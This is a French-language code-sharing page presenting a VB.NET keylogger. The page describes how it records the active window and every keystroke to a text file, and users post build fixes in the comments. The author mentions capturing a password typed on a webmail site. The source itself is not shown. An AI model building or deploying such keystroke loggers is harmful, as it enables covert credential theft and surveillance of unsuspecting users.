Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

WIN & KEYLOGGER .NET


Information sur la source

Catégorie :VB.NET Source .NET ( DotNet ) Classé sous : keylog, net, dot, windows Niveau : Débutant Date de création : 11/03/2005 Date de mise à jour : 04/01/2008 19:06:40 Vu / téléchargé: 12 025 / 2 873

Note :
6,33 / 10 - par 3 personnes
6,33 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (17)
Ajouter un commentaire et/ou une note


Description

Cliquez pour voir la capture en taille normale
c'est un keylogg ki voit kelle fenêtre a le focus , qui stoque son nom  ' ainsi que toutes les touches frappées dans un string __parallelement un timer decharge le contenu du string dans un fichier txt (et vide le string )___

 

Conclusion

suis happy car je crois bien qu'il s'agit du premier keylogger en .net sur VBFrance !
 

Fichier Zip

Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip

Historique

04 janvier 2008 19:06:44 :
j'ai pris compte de ta correction simoneo , merci à toi ;)

Commentaires et avis

signaler à un administrateur
Commentaire de devvassili le 11/03/2005 08:52:04

Bonjour, dans ta méthode TesterLeClavier(), tu pourrais faire une méthode :
Private Function DoitEtreMitEnMaj() As Boolean pour eviter à chaque fois des if de folie.

Tu détecte la lettre et après tu vois si tu la mets en MAJ ou si tu la laisses.

good job.

signaler à un administrateur
Commentaire de lumesh le 11/03/2005 09:05:37

mon[BACKSPACE]mot .... c'est impossible !

soit tu fait une erreur apres 'mon' et dans ce cas l'erreur doit etre visible (une lettre apres 'mon' et avant [BACKSPACE])soit tu t'es planté dans la définition de tes touches !

[BACKSPACE] ce n'est pas la barre espace ... mais l'effacement arriere (Retour en Arriere) au dessus de la touche [ENTREE]

signaler à un administrateur
Commentaire de soldier8514 le 11/03/2005 13:14:58


devvassili << j'ai fais une premiere version comprehensible du premier coup d'oeil , mais oui je vais faire une version plus perfectionnée ;)

lumesh << dans le fichier log de ma capture d'ecran on voit "mon[BACKSPACE]mot" tout simplement parceke g tapé ça dans la zone "mot de passe" de chez caramail _ plus exactement jai tapé "mon mot de passe" mais tu auras remarqué surement que les espaces sont interpretes par un backspace _ ya pas d'erreur _

signaler à un administrateur
Commentaire de lumesh le 11/03/2005 13:47:05

c emmerdant que ce soit interprété comme un retour en arriere ...

Ptite idée aussi, rend ton script 'intelligent'.
cad remplace les touches spéciales par les actions qu'elles encourent. Pour la pluspart des logiciels les actions possibles dans les boites de textes restent celle prevues par windows.

Mais c'est un bon debut

signaler à un administrateur
Commentaire de soldier8514 le 12/03/2005 11:46:41

lumesh << ok là je craque lumesh _ jte dis ke le Backspace n'est pas interprété comme un retour chariot _  essaies de trouver une seule ligne dans mon code ki te dise le contraire

Par ailleurs la touche entree n'est elle non plus interpretee
comme un retour chariot mais comme [ENTER]

Bon dieu , on n'est pas en classe tourisme _ lis le code avant de dire n'importe quoi

Je trouve par ailleur ta remarque 'Mais c'est un bon debut' completement déplacée pour kelk1 ki visiblement n'a pas lu le source du module de classe keylogger _ d'autant que c'est la nième fois ke je poste un source pour faire des keylogger ( chaque fois avec une nouvelle approche ) _ bon vent

signaler à un administrateur
Commentaire de soldier8514 le 12/03/2005 11:49:03

svp ne postez des  critiques que si vous etes là pour faire de la programmation  _ mici

signaler à un administrateur
Commentaire de GDLOQ le 18/04/2005 11:18:28

hmmm... Tu l'as fait sous VS 2005 ???
si c'est le cas VS 2003 est pas gentil et veut pas ouvrir la solution :'(

signaler à un administrateur
Commentaire de soldier8514 le 18/04/2005 12:30:06


oui c fait sous visual 2005 _ mais vous pouvez le lire aussi avec  sharp develop ;)

signaler à un administrateur
Commentaire de titoupit le 23/08/2005 11:29:21

Je n'arrive pas a l'ouvrir avec VS2003, ni avec Sharp Develop ... une asctuce pour l'ouvrir avec ce dernier?

signaler à un administrateur
Commentaire de NHenry le 13/07/2006 22:24:06

ClsKeylogger.vb :

petit détail, évite la ligne : Option Strict Off

Utilise CType, directCast, TryCast ou d'autres méthodes pour transtyper.
c'est plus propre et plus rapide à l'execution.

signaler à un administrateur
Commentaire de NHenry le 13/07/2006 22:30:34

Ajout :
est-ce que ta source permet de bloquer l'interception de touches par l'application active ?

signaler à un administrateur
Commentaire de tz_magnum le 29/08/2006 13:52:53

Chez moi ton prog comporte 2 erreurs.

Tien les voilà.

Erreur 2 'CurrentDirectory' n'est pas un membre de 'Project1.My.MyApplication'.
\KeyLoGgDOTNET\ClsKeylogger.vb 925 16 Keylogg


et

Erreur 3 'CurrentDirectory' n'est pas un membre de 'Project1.My.MyApplication'.
\KeyLoGgDOTNET\FrmMain.vb 21 53 Keylogg


Bonne aprèm

signaler à un administrateur
Commentaire de yossib le 22/12/2006 10:12:20

Marche pas ton appli :( Meme erreur que TZ_MAGNUM

je me demande comment les autres peuvent ecrire des commentaires sans meme tester l'appli !!
enfin bref

signaler à un administrateur
Commentaire de simoneo le 02/08/2007 13:17:29

Salut. j eu le meme problem que TZ_MAGNUM. Je propose une solution qui a marché sur mon pc. Tout simplement en doit changer :

path = My.Application.CurrentDirectory & "\" & "KEYS.txt"

PAR

path = "KEYS.txt"

ET

Espion.CheminCompletDuFichierASauvegarder = My.Application.CurrentDirectory & "\MonFichierKeylogg.txt"

PAR

Espion.CheminCompletDuFichierASauvegarder = "MonFichierKeylogg.txt"

ça le meme sens de repertoire courant.

Bon travail.

signaler à un administrateur
Commentaire de Chronolode le 21/09/2007 13:50:43

c'est vraiment coool
pour les problemes c simple vous remplacez My.Application.CurrentDirectory
par : Application.StartupPath
pour celui qu'a vb.net 2003

signaler à un administrateur
Commentaire de naimovech le 09/12/2007 15:13:45

cette application ne fonction plus
renisialiser votre projet Mr

signaler à un administrateur
Commentaire de soldier8514 le 04/01/2008 19:09:58

j'ai rectifié sous sharpdevelop , merci simoneo

a+

Ajouter un commentaire

Discussions en rapport avec ce code source dans le forum

.NET ET WINDOWS XP [ par FAB59 ] bonjour,J'envisage de passer de vb6 à .net mais certaines personnes me disent qu'il faut XP Pro pour programmer en .net.La question est donc : peut-on Application Windows en VB.NET [ par houda25 ] Bonjour, j'ai une application windows faite en VB.NET et j'aimerais la convertir en application web, y a-t'il un moyen de le faire sans recoder toute Errata : le runtime .NET est disponible pour Windows 9x [ par Patrice99 ] Contrairement à ce que j'avais indiqué dans mes contributions, c'est le SDK qui n'est disponible que pour Windows NT/XP, le runtime .NET lui est dispo vb .net et repertoire windows [ par Zan ] salut,j'aimerais savoir s'il existe une variable qui permet d'avoir le chemin du repertoire windows.j'ai essayé tout les chemins de System.Environment [VB.NET]Bloquer les 2 touches Windows [ par seemax ] Bonjour,je souhaite empecher l'utilisateur de pouvoir faire autre chose dans Windows que d'utiliser mon application.J'ai donc reussi a cacher la barre [VB.NET]Bloquer les 2 touches Windows [ par seemax ] Bonjour,je souhaite empecher l'utilisateur de pouvoir faire autre chose dans Windows que d'utiliser mon application.J'ai donc reussi a cacher la barre vb.Net windows ==> WEB [ par boucheros ] Je cherche un facon de prendre un interface windows (en vb.net) et de la rendre accecible sur le web...un peux comme "semble" faire le site www. janus dot net, bloqué...? [ par FleX ] salutg un petit problme en ce moment : je developpe un webservice en vb.net et malgrè que mon serveur IIS soirt bien configuré, le webservice ne peut Service windows en vb.net [ par GG_FBS ] Bonjour tous le monde!J'ai fait un service windows qui marche bien. le souci c'est comment peut on faire pour lui envoyer des valeurs et qu'il nous re MDIchild - MDI enfant sous .NET ( dot NET ) [ par dorian53 ] Bonjour, Est-il possible d'enlever les minimizeBox, maximizeBox et le bouton reduction d'une "MDI enfant maximized" ds la MDI mere. MerciDoR][aN


Nos sponsors

Sondage...

CalendriCode

Juillet 2009
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode

Comparez les prix Nouvelle version

Photothèque Nouveau !



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,499 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.